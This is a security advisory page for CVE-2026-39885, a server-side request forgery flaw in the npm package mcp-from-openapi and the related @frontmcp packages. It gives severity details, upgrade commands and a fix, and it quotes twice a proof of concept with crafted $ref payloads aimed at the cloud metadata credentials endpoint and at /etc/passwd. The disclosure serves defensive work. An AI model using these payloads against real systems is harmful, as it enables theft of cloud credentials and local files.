CVE-2026-39885: Mcp from openapi Mcp-from-openapi Is Vulnerable To SSRF Vulnerability

HIGH
Advisory Identifier: GHSA-v6ph-xcq9-qxxj
CVSS 7.5
CWE-918
Published
Advisory Summary

CVE-2026-39885 is a HIGH (CVSS 7.5) mcp-from-openapi is vulnerable to ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Mcp from openapi libraries in the npm ecosystem. The issue involves mcp-from-openapi is vulnerable to ssrf via $ref dereferencing in untrusted openapi specifications. Remediation is available by upgrading affected packages to version 2.3.0, 1.0.4.

CVE-2026-39885 at a Glance

CVE Identifier CVE-2026-39885
GHSA Identifier GHSA-v6ph-xcq9-qxxj
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Mcp from openapi
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-39885

To remediate this vulnerability, upgrade all affected Mcp from openapi dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

mcp-from-openapi fixed: 2.3.0
npm install mcp-from-openapi@2.3.0
@frontmcp/sdk fixed: 1.0.4
npm install @frontmcp/sdk@1.0.4
@frontmcp/adapters fixed: 1.0.4
npm install @frontmcp/adapters@1.0.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls mcp-from-openapi

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-39885, inspect your project dependencies using npm:

npm ls mcp-from-openapi

Analyze the terminal output to locate any version of Mcp from openapi in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.3.0), your application is affected.

Note: The npm ls mcp-from-openapi command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Mcp from openapi, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `mcp-from-openapi` library uses `@apidevtools/json-schema-ref-parser` to dereference `$ref` pointers in OpenAPI specifications without configuring any URL restrictions or custom resolvers. A malicious OpenAPI specification containing `$ref` values pointing to internal network addresses, cloud metadata endpoints, or local files will cause the library to fetch those resources during the `initialize()` call. This enables Server-Side Request Forgery (SSRF) and local file read attacks when processing untrusted OpenAPI specifications. ## Affected Versions `<= 2.1.2` (latest) ## CWE CWE-918: Server-Side Request Forgery (SSRF) ## Vulnerability Details **File:** `index.js` lines 870-875 When `OpenAPIToolGenerator.initialize()` is called, it dereferences the OpenAPI document using `json-schema-ref-parser`: ```javascript this.dereferencedDocument = await import_json_schema_ref_parser.default.dereference( JSON.parse(JSON.stringify(this.document)) ); ``` No options are passed to `.dereference()` — no URL allowlist, no custom resolvers, no protocol restrictions. The ref parser fetches any URL it encounters in `$ref` values, including: - `http://` and `https://` URLs (internal services, cloud metadata) - `file://` URLs (local filesystem) This is the default behavior of `json-schema-ref-parser` — it resolves all `$ref` pointers by fetching the referenced resource. ## Exploitation ### Attack 1: SSRF to internal services / cloud metadata A malicious OpenAPI spec containing: ```json { "openapi": "3.0.0", "info": { "title": "Evil API", "version": "1.0" }, "paths": { "/test": { "get": { "operationId": "getTest", "summary": "test", "responses": { "200": { "description": "OK", "content": { "application/json": { "schema": { "$ref": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } } } } } } } } } ``` When processed by `OpenAPIToolGenerator`, the library fetches `http://169.254.169.254/latest/meta-data/iam/security-credentials/` from the server, potentially leaking AWS IAM credentials. ### Attack 2: Local file read ```json { "$ref": "file:///etc/passwd" } ``` The ref parser reads local files and includes their contents in the dereferenced output. ## Proof of Concept ```javascript const http = require('http'); const { OpenAPIToolGenerator } = require('mcp-from-openapi'); // Start attacker server to prove SSRF const srv = http.createServer((req, res) => { console.log(`SSRF HIT: ${req.method} ${req.url}`); res.writeHead(200, {'Content-Type': 'application/json'}); res.end('{"type":"string"}'); }); srv.listen(9997, async () => { const spec = { openapi: '3.0.0', info: { title: 'Evil', version: '1.0' }, paths: { '/test': { get: { operationId: 'getTest', summary: 'test', responses: { '200': { description: 'OK', content: { 'application/json': { schema: { '$ref': 'http://127.0.0.1:9997/ssrf-proof' } } } } } } } } }; const gen = new OpenAPIToolGenerator(spec, { validate: false }); await gen.initialize(); // Output: "SSRF HIT: GET /ssrf-proof" // The library fetched our attacker URL during $ref dereferencing. srv.close(); }); ``` **Tested and confirmed** on mcp-from-openapi v2.1.2. The attacker server receives the GET request during `initialize()`. ## Impact - **Cloud credential theft** — `$ref` pointing to `http://169.254.169.254/` steals AWS/GCP/Azure metadata - **Internal network scanning** — `$ref` values can probe internal services and ports - **Local file read** — `file://` protocol reads arbitrary files from the server filesystem - **No privileges required** — attacker only needs to provide a crafted OpenAPI spec to any application using this library ## Suggested Fix Pass resolver options to `dereference()` that restrict which protocols and hosts are allowed: ```javascript this.dereferencedDocument = await $RefParser.dereference( JSON.parse(JSON.stringify(this.document)), { resolve: { file: false, // Disable file:// protocol http: { // Only allow same-origin or explicitly allowed hosts headers: this.options.headers, timeout: this.options.timeout, } } } ); ``` Or disable all external resolution and require all schemas to be inline: ```javascript this.dereferencedDocument = await $RefParser.dereference( JSON.parse(JSON.stringify(this.document)), { resolve: { file: false, http: false, https: false } } ); ```

CVE-2026-39885 Affected Mcp from openapi Versions

3 component(s)
Fixed Versions:
2.3.01.0.4
Product / Package Ecosystem Affected Versions Fixed Version
mcp-from-openapi
npm
< 2.3.0
2.3.0
@frontmcp/sdk
npm
< 1.0.4
1.0.4
@frontmcp/adapters
npm
< 1.0.4
1.0.4

References

Frequently Asked Questions

What is CVE-2026-39885?
CVE-2026-39885 is a security vulnerability in Mcp from openapi involving mcp-from-openapi is Vulnerable to SSRF via $ref Dereferencing in Untrusted OpenAPI Specifications under CWE-918: Server-Side Request Forgery (SSRF).
Which Mcp from openapi versions are affected?
Affected versions include releases prior to 2.3.0, 1.0.4 across affected packages: mcp-from-openapi, @frontmcp/sdk, @frontmcp/adapters.
What version fixes CVE-2026-39885?
Upgrading to 2.3.0, 1.0.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is mcp-from-openapi affected?
Yes, mcp-from-openapi is affected in releases prior to 2.3.0. Upgrade your dependency to 2.3.0 or later.
Is @frontmcp/sdk affected?
Yes, @frontmcp/sdk is affected in releases prior to 1.0.4. Upgrade your dependency to 1.0.4 or later.
What is the CVSS score of CVE-2026-39885?
CVE-2026-39885 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-39885?
CVE-2026-39885 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check npm dependencies for CVE-2026-39885?
Run the dependency tree command: 'npm ls mcp-from-openapi'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v6ph-xcq9-qxxj",
  "modified" : "2026-04-09T14:29:54Z",
  "published" : "2026-04-08T19:22:53Z",
  "aliases" : [ "CVE-2026-39885" ],
  "summary" : "mcp-from-openapi is Vulnerable to SSRF via $ref Dereferencing in Untrusted OpenAPI Specifications",
  "details" : "## Summary\n\nThe `mcp-from-openapi` library uses `@apidevtools/json-schema-ref-parser` to dereference `$ref` pointers in OpenAPI specifications without configuring any URL restrictions or custom resolvers. A malicious OpenAPI specification containing `$ref` values pointing to internal network addresses, cloud metadata endpoints, or local files will cause the library to fetch those resources during the `initialize()` call. This enables Server-Side Request Forgery (SSRF) and local file read attacks when processing untrusted OpenAPI specifications.\n\n\n## Affected Versions\n\n`<= 2.1.2` (latest)\n\n## CWE\n\nCWE-918: Server-Side Request Forgery (SSRF)\n\n## Vulnerability Details\n\n**File:** `index.js` lines 870-875\n\nWhen `OpenAPIToolGenerator.initialize()` is called, it dereferences the OpenAPI document using `json-schema-ref-parser`:\n\n```javascript\nthis.dereferencedDocument = await import_json_schema_ref_parser.default.dereference(\n  JSON.parse(JSON.stringify(this.document))\n);\n```\n\nNo options are passed to `.dereference()` — no URL allowlist, no custom resolvers, no protocol restrictions. The ref parser fetches any URL it encounters in `$ref` values, including:\n\n- `http://` and `https://` URLs (internal services, cloud metadata)\n- `file://` URLs (local filesystem)\n\nThis is the default behavior of `json-schema-ref-parser` — it resolves all `$ref` pointers by fetching the referenced resource.\n\n## Exploitation\n\n### Attack 1: SSRF to internal services / cloud metadata\n\nA malicious OpenAPI spec containing:\n\n```json\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": { \"title\": \"Evil API\", \"version\": \"1.0\" },\n  \"paths\": {\n    \"/test\": {\n      \"get\": {\n        \"operationId\": \"getTest\",\n        \"summary\": \"test\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"OK\",\n            \"content\": {\n              \"application/json\": {\n                \"schema\": {\n                  \"$ref\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\nWhen processed by `OpenAPIToolGenerator`, the library fetches `http://169.254.169.254/latest/meta-data/iam/security-credentials/` from the server, potentially leaking AWS IAM credentials.\n\n### Attack 2: Local file read\n\n```json\n{\n  \"$ref\": \"file:///etc/passwd\"\n}\n```\n\nThe ref parser reads local files and includes their contents in the dereferenced output.\n\n## Proof of Concept\n\n```javascript\nconst http = require('http');\nconst { OpenAPIToolGenerator } = require('mcp-from-openapi');\n\n// Start attacker server to prove SSRF\nconst srv = http.createServer((req, res) => {\n    console.log(`SSRF HIT: ${req.method} ${req.url}`);\n    res.writeHead(200, {'Content-Type': 'application/json'});\n    res.end('{\"type\":\"string\"}');\n});\n\nsrv.listen(9997, async () => {\n    const spec = {\n        openapi: '3.0.0',\n        info: { title: 'Evil', version: '1.0' },\n        paths: {\n            '/test': {\n                get: {\n                    operationId: 'getTest',\n                    summary: 'test',\n                    responses: {\n                        '200': {\n                            description: 'OK',\n                            content: {\n                                'application/json': {\n                                    schema: { '$ref': 'http://127.0.0.1:9997/ssrf-proof' }\n                                }\n                            }\n                        }\n                    }\n                }\n            }\n        }\n    };\n\n    const gen = new OpenAPIToolGenerator(spec, { validate: false });\n    await gen.initialize();\n    // Output: \"SSRF HIT: GET /ssrf-proof\"\n    // The library fetched our attacker URL during $ref dereferencing.\n\n    srv.close();\n});\n```\n\n**Tested and confirmed** on mcp-from-openapi v2.1.2. The attacker server receives the GET request during `initialize()`.\n\n## Impact\n\n- **Cloud credential theft** — `$ref` pointing to `http://169.254.169.254/` steals AWS/GCP/Azure metadata\n- **Internal network scanning** — `$ref` values can probe internal services and ports\n- **Local file read** — `file://` protocol reads arbitrary files from the server filesystem\n- **No privileges required** — attacker only needs to provide a crafted OpenAPI spec to any application using this library\n\n## Suggested Fix\n\nPass resolver options to `dereference()` that restrict which protocols and hosts are allowed:\n\n```javascript\nthis.dereferencedDocument = await $RefParser.dereference(\n  JSON.parse(JSON.stringify(this.document)),\n  {\n    resolve: {\n      file: false,        // Disable file:// protocol\n      http: {\n        // Only allow same-origin or explicitly allowed hosts\n        headers: this.options.headers,\n        timeout: this.options.timeout,\n      }\n    }\n  }\n);\n```\n\nOr disable all external resolution and require all schemas to be inline:\n\n```javascript\nthis.dereferencedDocument = await $RefParser.dereference(\n  JSON.parse(JSON.stringify(this.document)),\n  {\n    resolve: { file: false, http: false, https: false }\n  }\n);\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "mcp-from-openapi"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.3.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.1.2"
    }
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@frontmcp/sdk"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.0.3"
    }
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@frontmcp/adapters"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.0.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/agentfront/frontmcp/security/advisories/GHSA-v6ph-xcq9-qxxj"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-39885"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/agentfront/frontmcp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/agentfront/frontmcp/releases/tag/v1.0.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-08T19:22:53Z",
    "nvd_published_at" : "2026-04-08T21:17:00Z"
  }
}